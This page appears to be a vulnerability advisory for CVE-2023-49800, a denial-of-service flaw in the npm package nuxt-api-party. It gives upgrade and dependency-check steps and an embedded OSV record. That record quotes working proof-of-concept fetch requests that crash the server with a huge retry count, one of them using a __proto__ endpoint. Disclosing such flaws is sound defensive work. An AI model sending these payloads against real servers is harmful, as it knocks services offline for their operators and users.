CVE-2023-49800: Nuxt api party Denial of Service Vulnerability
HIGHCVE-2023-49800 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Nuxt api party libraries in the npm ecosystem. The issue involves dos by abusing `fetchoptions.retry`.. Remediation is available by upgrading affected packages to version 0.22.1.
CVE-2023-49800 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2023-49800
To remediate this vulnerability, upgrade all affected Nuxt api party dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install nuxt-api-party@0.22.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls nuxt-api-party
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2023-49800, inspect your project dependencies using npm:
npm ls nuxt-api-party
Analyze the terminal output to locate any version of Nuxt api party in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.1), your application is affected.
Note: The npm ls nuxt-api-party command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Nuxt api party, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-49800 Affected Nuxt api party Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nuxt-api-party
|
npm |
< 0.22.1
|
0.22.1
|
References
Frequently Asked Questions
What is CVE-2023-49800?
Which Nuxt api party versions are affected?
What version fixes CVE-2023-49800?
Is nuxt-api-party affected?
What is the CVSS score of CVE-2023-49800?
What CWE is associated with CVE-2023-49800?
How can I check npm dependencies for CVE-2023-49800?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q6hx-3m4p-749h",
"modified" : "2023-12-11T20:29:10Z",
"published" : "2023-12-11T20:29:10Z",
"aliases" : [ "CVE-2023-49800" ],
"summary" : "DOS by abusing `fetchOptions.retry`. ",
"details" : "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests. \n\nThe library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.\n\n### Details\n`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`\n](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).\n\nWe can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. \n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/MyEndpoint\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can build the size of the stack faster by using more complicated URIs\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"data:x;base64,----\", retry: 9999999 }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nFull DOS, server is unusable during attack. Requires a single request. \n\n### Fix \nLimit which options can be passed to `ofetch`.\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "nuxt-api-party"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.22.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-q6hx-3m4p-749h"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49800"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/johannschopplich/nuxt-api-party"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-787" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2023-12-11T20:29:10Z",
"nvd_published_at" : "2023-12-09T00:15:07Z"
}
}